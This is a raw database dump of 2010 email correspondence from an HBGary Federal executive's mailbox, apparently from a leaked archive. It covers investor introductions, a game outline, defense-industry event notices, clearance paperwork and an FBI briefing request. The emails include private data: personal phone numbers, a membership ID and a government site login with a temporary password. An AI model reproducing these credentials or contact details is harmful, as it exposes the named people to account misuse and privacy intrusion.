\r\n\r\nThanks Aaron,\r\n\r\nPenny - are you free next week to connect for a brief introductory call? \r\nA tear sheet on our firm is attached with more information.\r\n\r\nBest,\r\nNicholas\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Sep 3, 2010 at 2:49 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nPenny,\r\n\r\nLet me introduce Nicholas from Riveria group.  I was introduced to Riveria\r\nthrough David Gertler, whom was one of the folks I met with at L-3 earlier in\r\nthe week.  Nicholas is interested in discussing investment opportunities.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 3, 2010, at 11:15 AM, Tj Gupta wrote:\r\n\r\n&gt; Thanks Aaron, my associate, Nicholas Safford, will reach out to you to\r\n&gt; gather the necessary information for us and introduce you to the firm.\r\n&gt;\r\n&gt; Best,\r\n&gt;\r\n&gt; Tj\r\n&gt;\r\n&gt; On 9/3/10, Aaron Barr &lt;aaron@hbgary.com&gt;\r\nwrote:\r\n&gt;&gt; David,\r\n&gt;&gt;\r\n&gt;&gt; Thank you for the introduction and sure thing I will send you a note\r\nin a\r\n&gt;&gt; few weeks.\r\n&gt;&gt;\r\n&gt;&gt; TJ.  Happy to meet you.  My cell is 719.510.8478.  Look\r\nforward to talking\r\n&gt;&gt; with you.\r\n&gt;&gt;\r\n&gt;&gt; Aaron\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; On Sep 3, 2010, at 9:39 AM, David Gertler wrote:\r\n&gt;&gt;\r\n&gt;&gt;&gt; Aaron\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; It was good talking with you the other day. As i mentioned, I\r\nwould like\r\n&gt;&gt;&gt; to introduce you to TJ Gupta and his private equity group.\r\n TJ is actively\r\n&gt;&gt;&gt; looking for good companies that need some expansion capital and\r\nyou\r\n&gt;&gt;&gt; clearly fit within his target thesis.\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; Send him your phone number and I&#39;m sure he call you\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; PS. This is my personal email address; feel free to send me a note\r\nin a\r\n&gt;&gt;&gt; week or two and we&#39;ll grab a Starbucks.\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; David Gertler\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; Sent from my iPad\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Tj Gupta\r\n&gt; Managing Partner\r\n&gt; Riveria Investment Group\r\n&gt; 145 East 57th Street, 11th Floor\r\n&gt; New York, NY 10022\r\n&gt; Office: +1 917 421 9971\r\n&gt; Direct: +1 212 994 4117\r\n&gt; Mobile: +1 703 615 3291\r\n&gt; Fax: +1 646 537 2655\r\n&gt; www.riveriagroup.com\r\n&gt;\r\n&gt; Disclaimer:\r\n&gt; The information contained in this electronic message and in any\r\nattachments\r\n&gt; to this message is confidential, legally privileged and intended only for\r\n&gt; the person or entity to which this electronic message is addressed. If you\r\n&gt; are not the intended recipient, please notify the system manager and you\r\nare\r\n&gt; hereby notified that any distribution, copying, review, retransmission,\r\n&gt; dissemination or other use of this electronic transmission or the\r\n&gt; information contained in it is strictly prohibited. Please accordingly\r\nalso\r\n&gt; note that any views or opinions presented in this email are solely those\r\nof\r\n&gt; the author and may not represent those of the Company or bind the Company.\r\n&gt; This message has been scanned for viruses and dangerous content by Mail\r\n&gt; Scanner, and is believed to be clean. The Company accepts no liability for\r\n&gt; any damage caused by any virus transmitted by this email.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nNicholas J. Safford\r\nAssociate\r\nRiveria Investment Group\r\n145 East 57th Street, 11th Floor\r\nNew York, NY 10022\r\nOffice: +1 917 421 9971\r\nMobile: +1 703 819 2629\r\nFax: +1 646 537 2655\r\nwww.riveriagroup.com\r\n\r\nDisclaimer:\r\n\r\n\r\n\r\nThe information contained in this electronic message and in\r\nany attachments to this message is confidential, legally privileged and\r\nintended only for the person or entity to which this electronic message is\r\naddressed. If you are not the intended recipient, please notify the system\r\nmanager and you are hereby notified that any distribution, copying, review,\r\nretransmission, dissemination or other use of this electronic transmission or\r\nthe information contained in it is strictly prohibited. Please accordingly also\r\nnote that any views or opinions presented in this email are solely those of the\r\nauthor and may not represent those of the Company or bind the Company. This\r\nmessage has been scanned for viruses and dangerous content by Mail Scanner, and\r\nis believed to be clean. The Company accepts no liability for any damage caused\r\nby any virus transmitted by this email.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Nicholas J. SaffordAssociateRiveria Investment Group145 East 57th Street, 11th FloorNew York, NY 10022Office: +1 917 421 9971Mobile: +1 703 819 2629\r\nFax: +1 646 537 2655www.riveriagroup.comDisclaimer:\r\nThe information contained in this electronic message and in any attachments to this message is confidential, legally privileged and intended only for the person or entity to which this electronic message is addressed. If you are not the intended recipient, please notify the system manager and you are hereby notified that any distribution, copying, review, retransmission, dissemination or other use of this electronic transmission or the information contained in it is strictly prohibited. Please accordingly also note that any views or opinions presented in this email are solely those of the author and may not represent those of the Company or bind the Company. This message has been scanned for viruses and dangerous content by Mail Scanner, and is believed to be clean. The Company accepts no liability for any damage caused by any virus transmitted by this email.\r\n\r\n',7515,'aaron_hbgary_com/7515.html'),(11346,'2010-09-06','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008613.M252006P14101Q6201.eml','\"Aaron Barr\" <aaron@hbgary.com>','captains of industry, outline','Attached is a basic outline for the game.  It has all the aspects we talked about, from casual PvE play to rough-and-tumble PvP play, Factions to build from the Facebook friends list, and Location with Retail as a bolt-on method of progression. The genre is very flexible and would allow all of the same gameplay experiences that already exist in established MMO&#39;s and casual games alike.\r\n\r\n \r\n-Greg \r\n',5777,'aaron_hbgary_com/5777.html'),(11347,'2010-09-06','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008613.M495219P14101Q6202.eml','\"Aaron Barr\" <aaron@hbgary.com>','industrial revolution & Neal Stephenson','Aaron,\r\n \r\nAs an aside, Neal Stephenson is a great author and wrote a series of novels covering the time period of our game&#39;s genre.  Check out &#39;Quicksilver&#39;, &#39;The Confusion&#39;, and &#39;The System of the World&#39;.  \r\n\r\n \r\nNeal also wrote a popular book in the hacker culture called &#39;Cryptonomicon&#39; and a classic called &#39;Snow Crash&#39;.  Overall a well respected author, but his series on our genre time-period is a true epic.  So much bad-ass stuff going on at that time.\r\n\r\n \r\n-Greg \r\n',13126,'aaron_hbgary_com/13126.html'),(11348,'2010-09-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008613.M968544P14101Q6203.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: captains of industry, outline','I will be able to check it out later.  On a book note, I\'ll check\r\nthose recommendations out.  For you check out a book called the\r\ntycoons by Charles Morris.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 6, 2010, at 1:10 PM, Greg Hoglund  wrote:\r\n\r\n> Attached is a basic outline for the game.  It has all the aspects we talked about, from casual PvE play to rough-and-tumble PvP play, Factions to build from the Facebook friends list, and Location with Retail as a bolt-on method of progression. The genre is very flexible and would allow all of the same gameplay experiences that already exist in established MMO\'s and casual games alike.\r\n>\r\n> -Greg\r\n> \r\n',8700,'aaron_hbgary_com/8700.html'),(11349,'2010-09-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008614.M165353P14101Q6204.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: industrial revolution & Neal Stephenson','So many possibilities.  Electricity, telephone and communications,\r\nsteam, machinery, iron making, road and rail expansion, textiles,\r\nmovement from agriculture to manufacturing and into the city.\r\nOrganized crime.  Really the creation of modern corporations.  Supply\r\nchannels.\r\n\r\nThe fact that some of the items that you need to drop in order to make\r\ncertain advancements.  Maybe discoveries or items are in different\r\ncategories; raw materials, inventions, partnerships, trade routes,\r\noverseas factories, etc.\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 6, 2010, at 1:15 PM, Greg Hoglund  wrote:\r\n\r\n> Aaron,\r\n>\r\n> As an aside, Neal Stephenson is a great author and wrote a series of novels covering the time period of our game\'s genre.  Check out \'Quicksilver\', \'The Confusion\', and \'The System of the World\'.\r\n>\r\n> Neal also wrote a popular book in the hacker culture called \'Cryptonomicon\' and a classic called \'Snow Crash\'.  Overall a well respected author, but his series on our genre time-period is a true epic.  So much bad-ass stuff going on at that time.\r\n>\r\n> -Greg\r\n',11569,'aaron_hbgary_com/11569.html'),(11350,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008614.M376277P14101Q6205.eml','\"Greg Hoglund\" <greg@hbgary.com>','Captains of Industry','\r\n',5663,'aaron_hbgary_com/5663.html'),(11351,'2010-09-07','\"AFCEA NOVA\" <info@afceanova.org>','/aaron@hbgary.com/new/1297008614.M619251P14101Q6206.eml','aaron@hbgary.com','Last Chance - Luncheon with Lt Gen Lord This Friday (AFCEA NOVA)','\r\n\r\n\r\n  AFCEA-NOVA\r\n   \r\n  \r\nHaving trouble viewing this email?\r\nClick here\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      Last\r\nChance! | September\r\nLuncheon Meeting Featuring Lt Gen Lord\r\n      \r\n      &nbsp;\r\n    \r\n    \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      \r\n      September Luncheon Meeting\r\n      Lt Gen\r\nWilliam T. Lord\r\n      Chief of\r\nWarfighting Integration and \r\n      CIO Office of the\r\nSecretary of the Air Force\r\n      Friday, September 10, 2010\r\n      Read more and register at \r\n      www.afceanova.org/luncheons\r\n      \r\n      \r\n      About The September Speaker\r\n      Lt Gen William T. Lord is the Chief of Warfighting\r\nIntegration and Chief Information Officer, Office of the Secretary of\r\nthe Air Force.\r\n      General Lord leads five directorates and two field\r\noperating agencies consisting of more than 1,000 military, civilian and\r\ncontractor personnel supporting a portfolio valued at $17 billion. \r\nRead more about Lt Gen Lord and register for the program at www.afceanova.org/luncheons\r\n      \r\n      \r\n      Last Chance for Table Sponsorships\r\n      Only a few table sponsorships are left for the 2010-2011\r\nyear.\r\n      Don\'t miss this chance to secure your space at the best\r\nnetworking event in town for the defense and intelligence communities. \r\n      Become\r\na 2010-2011 Table Sponsor\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      Upcoming\r\nAFCEA NOVA Events \r\n      With\r\nworld-class speakers and record-breaking attendance year after year,\r\nAFCEA\r\nNOVA\'s event programs are opportunity you can\'t afford to pass up.\r\n      \r\n        \r\n           Friday,\r\nSeptember 10 \r\n           September\r\nLuncheon\r\nLt Gen William T. Lord\r\n        \r\n          \r\n        \r\n           Tuesday,\r\nSeptember 21 \r\n           DHS\r\nEagle II\r\nSmall Business Breakfast\r\n        \r\n          \r\n        \r\n           Friday,\r\nOctober 15 \r\n           October\r\nLuncheon\r\nMG Steven Smith\r\n        \r\n          \r\n        \r\n           Tuesday,\r\nOctober 19 \r\n           Military /\r\nGovernment\r\nCareer Transition Seminar\r\n          \r\n        \r\n          \r\n        \r\n           Thursday,\r\nOctober 21 \r\n           9th\r\nAnnual Air Force IT Day\r\nIT Supporting and Enabling the Joint Mission\r\n      \r\n      \r\n        \r\n           Friday,\r\nNovember 19 \r\n           November\r\nLuncheon\r\nUSMC Director C4/CIO \r\n        \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n    \r\n  \r\n\r\n\r\nForward email\r\n\r\n\r\n\r\nThis email was sent to aaron@hbgary.com by info@afceanova.org.\r\nUpdate Profile/Email Address | Instant removal with SafeUnsubscribe&trade; | Privacy Policy.\r\n\r\nEmail Marketing by\r\n\r\n\r\nAFCEA NOVA | 400 North Washington St | Ste 300 | Alexandria | VA | 22314\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14765,'aaron_hbgary_com/14765.html'),(11352,'2010-09-07','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','/aaron@hbgary.com/new/1297008614.M829032P14101Q6207.eml','\"Garvie, David Ian\" <David.Garvie@ManTech.com>,\"Martin, Scott D\" <Scott.Martin@ManTech.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>,\"Swallows, Jason P\" <Jason.Swallows@ManTech.com>,\"Hughes, Michael Sean\" <Michael.Hughes@ManTech.com>,\"Geyster, Christopher R\" <Christopher.Geyster@ManTech.com>,\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>,aaron@HBGary.com,\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,\"Zimmerman, Penny L\" <Penny.Zimmerman@ManTech.com>,\"Grays, Cheryl D\" <Cheryl.Grays@ManTech.com>,shleep@thebuffalogroup.com,\"Contee, Maxine E\" <Maxine.Contee@ManTech.com>,\"Thompson, Linda L\" <Linda.Thompson@ManTech.com>,Leo.chambliss@macb.com,james.berman@inceptre.com,kathyrondon@aol.com,jason.syversen@siegetechnologies.com,\"Harris, Rachel A\" <Rachel.Harris@ManTech.com>,obrienp@thebuffalogroup.com,schleep@thebuffalogroup.com,\"Mentzer, Justin C\" <Justin.Mentzer@ManTech.com>,\"Garvie, David Ian\" <David.Garvie@ManTech.com>','Gatorbait Daily Standup','\r\n\r\n\r\n\r\n\r\nGatorbait Daily Standup\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, September 08, 2010 9:00 AM-9:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 7799 Leesburg Pike, 1st Floor Proposal Center and Telecon\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nWednesday&#8217;s Status Meeting.&nbsp; Amanda will send status update via email following the Pink Team Review @ 9:00am Wednesday. \r\n\r\n\r\n',11691,'aaron_hbgary_com/11691.html'),(11353,'2010-09-07','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','/aaron@hbgary.com/new/1297008615.M54469P14101Q6208.eml','\"Garvie, David Ian\" <David.Garvie@ManTech.com>,\"Martin, Scott D\" <Scott.Martin@ManTech.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>,\"Swallows, Jason P\" <Jason.Swallows@ManTech.com>,\"Hughes, Michael Sean\" <Michael.Hughes@ManTech.com>,\"Geyster, Christopher R\" <Christopher.Geyster@ManTech.com>,\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>,aaron@HBGary.com,\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,\"Zimmerman, Penny L\" <Penny.Zimmerman@ManTech.com>,\"Grays, Cheryl D\" <Cheryl.Grays@ManTech.com>,shleep@thebuffalogroup.com,\"Contee, Maxine E\" <Maxine.Contee@ManTech.com>,\"Thompson, Linda L\" <Linda.Thompson@ManTech.com>,Leo.chambliss@macb.com,james.berman@inceptre.com,kathyrondon@aol.com,jason.syversen@siegetechnologies.com,\"Harris, Rachel A\" <Rachel.Harris@ManTech.com>,obrienp@thebuffalogroup.com,schleep@thebuffalogroup.com,\"Mentzer, Justin C\" <Justin.Mentzer@ManTech.com>,\"Garvie, David Ian\" <David.Garvie@ManTech.com>','Canceled: Gatorbait Daily Standup','\r\n\r\n\r\n\r\n\r\nCanceled: Gatorbait Daily Standup\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, September 08, 2010 9:00 AM-9:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 7799 Leesburg Pike, 1st Floor Proposal Center and Telecon\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nWednesday&#8217;s Status Meeting.&nbsp; Amanda will send status update via email following the Pink Team Review @ 9:00am Wednesday. \r\n\r\n\r\n',13992,'aaron_hbgary_com/13992.html'),(11354,'2010-09-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008616.M143529P14101Q6209.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Defense Security Service New Facility Welcome Package HBGary Federal, LLC T57M0','Begin forwarded message:From: &quot;Iden, Cary, CTR, DSS&quot; &lt;Cary.Iden.CTR@dss.mil&gt;\r\nTo: &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;Subject: Defense Security Service New Facility Welcome Package HBGary Federal, LLC  T57M0 \r\nFacility Security Officer,Please review the attached Welcome Letter and Welcome Package\r\ninformation for your facility.  These documents are provided to assistyou with the facility clearance process and require your attention.  Youwill also be receiving from this office an envelope containing\r\nfingerprint cards within the next few days.Thank you.Defense Security Service\r\nFacility Clearance Branch2780 Airport Drive, Suite 400Columbus, OH 43219\r\n****** PLEASE DO NOT RESPOND TO THIS E-MAIL.  YOU WILL BE CONTACTED BYAN INDUSTRIAL SECURITY REPRESENTATIVE (ISREP) WHO WILL SET UP AN ON SITEVISIT WITH YOUR FACILITY.  ANY QUESTIONS CAN BE DIRECTED TO THE ISREP AT\r\nTHAT TIME. ******\r\n\r\n',16463,'aaron_hbgary_com/16463.html'),(11355,'2010-09-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008616.M421873P14101Q6210.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: DSS e-FCL Submission Site Account','Begin forwarded message:From: FociServer &lt;fociserver@anl.gov&gt;\r\nDate: September 7, 2010 7:40:06 AM MDTTo: ted@hbgary.comSubject: DSS e-FCL Submission Site AccountReply-To: fociserver@anl.gov\r\nAn account has been created for you on the DSS e-FCL Submission Site in order for you to submit foreign ownership, control, or influence information as part of the facility clearance process for your organization, HBGary Federal, LLC. As your organization&#39;s Facility Security Officer, you will receive email correspondence generated by the system and will have the ability to manage additional e-FCL accounts this organization may need for reporting purposes.\r\nThe temporary CAGE code assigned to your organization is:T57M0The web address of the e-FCL Submission Site is:\r\nhttps://submission.dssfcl.anl.gov Your unique user id for this system is your full email address:ted@hbgary.com\r\nYour temporary password for the e-FCL Submission Site is:Hu!23xkEK Your temporary password will expire on:\r\nSeptember 21, 2010You may copy and paste this password into the login screen when logging in for the first time to ensure accuracy. \r\nDisclaimer: You have received this email because you are a user of the Defense Security Service e-FCL System. If you have any problems with this email or system usage, please email fclserver@anl.gov or phone 630/252-6566.\r\n\r\n',9291,'aaron_hbgary_com/9291.html'),(11356,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008616.M651813P14101Q6211.eml','\"Stark, Karl\" <kstark@phillynews.com>','Re: Introduction','Hi Karl,Give me a call today when you get a chance. &nbsp;719.510.8478.AaronOn Sep 5, 2010, at 4:35 PM, Stark, Karl wrote:\r\n\r\nAaron\r\nGlad to meet you. I\'d relish the opportunity to talk about this idea when it\'s convenient for you. I\'ll be back after 10pm (ET) tonight and am around most of tomorrow (Monday, Labor Day),. Tuesday or later in the week would be fine too if you\'re busy.\r\n\r\nCheers,\r\n\r\nKarl Stark\r\nHealth &amp; Science Editor\r\nPhiladelphia Inquirer\r\n215 854-5363\r\nInquirer\'s Health &amp; Science page\r\nhttp://www.philly.com/inquirer/health_science/\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com]\r\nSent: Sun 9/5/2010 1:16 PM\r\nTo: Stark, Karl; \'Aaron Barr\'\r\nSubject: Introduction\r\n\r\nAaron and Karl,\r\n\r\n\r\n\r\nI\'d like to introduce the two of you to each other.&nbsp; Karl Stark is my\r\nbrother-in-law who is a reporter at the Philadelphia Inquirer.&nbsp; Karl is\r\nsmart and creative and has ideas around location based social networking.\r\nAaron, I recommend you call Karl to brainstorm.\r\n\r\n\r\n\r\nContact info:\r\n\r\nKarl 215-356-7403\r\n\r\nAaron 719-510-8478\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10742,'aaron_hbgary_com/10742.html'),(11357,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008616.M866703P14101Q6212.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: Social Media, Exploitation, and Persistent Internet Operations','Sure thing, just send me a note. &nbsp;I have never been to India but I can imagine it has to be a bit crazy.AaronOn Sep 5, 2010, at 3:02 AM, Matthew Steckman wrote:Very nice.&nbsp; I might want to attend to check it out, maybe see how Palantir could fit into your thinking.&nbsp;Let’s sync up when I get back from India.&nbsp; This country is nuts, have you ever been?&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantir.com&nbsp;| 202-257-2270&nbsp;Follow&nbsp;@palantirtechWatch&nbsp;youtube.com/palantirtechAttend&nbsp;Palantir Night Live&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, September 01, 2010 2:32 PMSubject:&nbsp;Social Media, Exploitation, and Persistent Internet Operations&nbsp;The rise of the social web has created an entirely new set of useful technologies and security vulnerabilities. &nbsp;It is our experience that most individuals and organizations understand there are risks to using social media but don\'t understand the full extent, from what types of use, what the real risks are, or how the vulnerabilities can be fully exploited, and how to effectively protect themselves.HBGary Federal has extensive experience in social media technologies, how to use these tools effectively, what the risks are to information exposure and exploitation, and how to more effectively protect yourself and your organization. &nbsp;We feel this is an area that needs more attention and understanding quickly as the commercial social media platforms provide to much easy opportunities for threats.Attached is our training brochure for our online and in-class social media training programs, 1/2 and full day. &nbsp;We also offer a tailored training program that is preceded by a social media penetration test. &nbsp;The information gathered during the pen test is provided in a before and after information exposure report as well as the information is used to tailor the training program to make it as relevant as possible to the organization.Visit our training web page to review and sign up for one of our online training classes or send an email to schedule in-class room training. &nbsp;You can also follow us on twitter to receive regular updates &nbsp;or become a fan of our Facebook page.Web:&nbsp;training.hbgaryfederal.comTwitter: HBGaryFedFacebook: HBGary FederalEmail:&nbsp;training@hbgaryfederal.com',232,'aaron_hbgary_com/232.html'),(11358,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008617.M107245P14101Q6213.eml','\"Kerrigan, Jack\" <jkerrigan@BlackbirdTech.com>,\"Kerrigan, Jack\" <jkerrigan@BlackbirdTech.com>','Discussion','Hi Jack,\r\n\r\nDo you have some time tomorrow to get together?  I am pretty open focusing on finishing up some training material.\r\n\r\nAaron',10041,'aaron_hbgary_com/10041.html'),(11359,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008617.M367836P14101Q6214.eml','ted@hbgary.com','Re: BlackHat Leads Email','This email looks good. &nbsp;What next, do you have a scripted way to email that out or do you just want me to cut and paste and send?AaronOn Sep 3, 2010, at 1:35 PM, ted@hbgary.com wrote:\r\nI\'ve shared BlackHat Leads Email\r\nMessage from ted@hbgary.com:\r\n\r\nClick to open:\r\nBlackHat Leads Email\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',15364,'aaron_hbgary_com/15364.html'),(11360,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008617.M934659P14101Q6215.eml','\"Ted Vera\" <ted@hbgary.com>','@#%^ Password','Can you call me with the password to the website so I can add some content.  I can\'t find it.\r\n\r\nAaron',13765,'aaron_hbgary_com/13765.html'),(11361,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008618.M140722P14101Q6216.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Love it','http://whatthefuckismyinformationsecuritystrategy.com/',6167,'aaron_hbgary_com/6167.html'),(11362,'2010-09-07','\"AFCEA International\" <services@afcea.org>','/aaron@hbgary.com/new/1297008618.M341118P14101Q6217.eml','aaron@hbgary.com','AFCEA Membership','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n\r\nDear Aaron Barr:\r\n\r\nYour AFCEA membership is due to expire on November 30, 2010.  Benefits you will continue to enjoy by renewing your membership in the association are the opportunity to maintain relationships with government and industry leaders and decision-makers through participation in international and chapter events, SIGNAL Magazine, reduced registration rates for chapter and international events, and tuition discounts on certificate and degree programs.  \r\n\r\nOpportunity to serve is another member benefit.  Specifically, your membership supports the AFCEA Educational Foundation\'s Scholarships and Awards Program that rewards student excellence in science and technical majors.  The programs range from grants to elementary school teachers to Ph. D. degrees.  Click here to learn more about the successes of these programs and for the secure online donation form.\r\n\r\nOur member service representatives are available at service@afcea.org, + 1-703-631-6158, or 800-336-4583, ext. 6158, if you have questions about your membership or membership benefits.  For current information about your association, visit http://www.afcea.org.\r\n\r\nWe would be delighted for you to renew your membership today, and thank you for the opportunity to continue to serve you.  Please click here to log into your member profile, and renew securely online by credit card.  Your Member ID is:  55146240.\r\n\r\nSincerely,\r\n\r\nKent R. Schneider\r\nPresident & Chief Executive Officer\r\nAFCEA International\r\n4400 Fair Lakes Court\r\nFairfax, Virginia 22033-3899\r\n\r\nAFCEA International, established in 1946, is a non-profit membership association serving the military, government, industry, and academia as an ethical forum for advancing professional knowledge and relationships in the fields of communications, IT, intelligence, and global security.\r\n\r\nAFCEA presents a new way to bring government and industry together with its SOLUTIONS Series: \r\nGo to   http://www.afcea.org/events/solutions/ \r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n',14966,'aaron_hbgary_com/14966.html'),(11363,'2010-09-07','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','/aaron@hbgary.com/new/1297008618.M596040P14101Q6218.eml','aaron@hbgary.com','FIRST Conference in Miami','Aaron,\r\n\r\nHello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide. \r\n\r\nThank You,\r\n\r\nChris  \r\n\r\n\r\nSSA Christopher A. Geary\r\nCERT/CC Liaison\r\n3238 CIC \r\nPittsburgh, PA 15213\r\n\r\n(412) 268-9244',6300,'aaron_hbgary_com/6300.html'),(11364,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008619.M281204P14101Q6220.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>','Social Media Material','Daniel,\r\n\r\nI think I may be in Colorado early next week and if so was planning on coming up to the meeting on Monday to present some social media material if that is fine with you.\r\n\r\nAaron',5251,'aaron_hbgary_com/5251.html'),(11365,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008619.M44322P14101Q6219.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','DigitalGlobe Requirement for Windows Security Architect','Senior “Security conscious” Windows architect/implementation engineer\r\n\r\nDesirable Certifications:\r\n-	MCSE Security on Windows Server 2003\r\n-	S+/CISSP\r\n-	Microsoft Certified Architect (MCA) in Exchange Server/Directory/\r\n-	Microsoft Certified Master\r\nTerm of Project  - 3 to 6 months depending on scope of work\r\nKey Responsibilities – \r\n-	Architecting our future Windows environments and integration with MOSS 2010/Exchange 2010/SCCM/SCOM and other corporate Windows services\r\n-	Designing and implementing secure infrastructure\r\n\r\nSecret Security Clearance is desirable\r\nAbility to architect securely to defend against newer threats including APT\'s is desirable\r\n',9772,'aaron_hbgary_com/9772.html'),(11366,'2010-09-07','\"JD Kathuria\" <jd@executivebiz.com>','/aaron@hbgary.com/new/1297008619.M504867P14101Q6221.eml','aaron@hbgary.com,pat.burke@sra.com,shawn.carroll@qwest.com,samuel.chun@hp.com,barbara.g.fast@boeing.com,bdix@juniper.org,wcooper@comcast.net,orlandof@saic.com,larry.d.cox@saic.com,rodney.joffe@neustar.biz,scottmil@microsoft.com,nadia.short@gd-ais.com,dusty.wince@knowledgecg.com,sharon.c.jackson@qwest.com,annette.m.clayberg@boeing.com,lisa.patel@neustar.biz,valerim@microsoft.com,teresa.brennan@gd-ais.com','Final Confirmation/ 4x24 Cyber Breakfast','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, September 14, 2010 7:00 AM-9:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Confirmation/ Tower Club, Tysons Corner, VA \r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nGood Afternoon,\r\n&nbsp;\r\nAs we draw closer to the upcoming Cyber Group Breakfast (scheduled for Tuesday September 14th at the Tower Club in Tyson’s Corner at 7am), we need a final confirmation as to whether or not you are able to attend.&nbsp; If you\r\nhave any questions please call Jennifer at 703.226-7016.\r\n&nbsp;\r\n\r\n\r\n\r\n',11889,'aaron_hbgary_com/11889.html'),(11367,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008619.M720608P14101Q6222.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: FIRST Conference in Miami','Begin forwarded message:From: \"Geary, Christopher A.\" &lt;Christopher.Geary@ic.fbi.gov&gt;Date: September 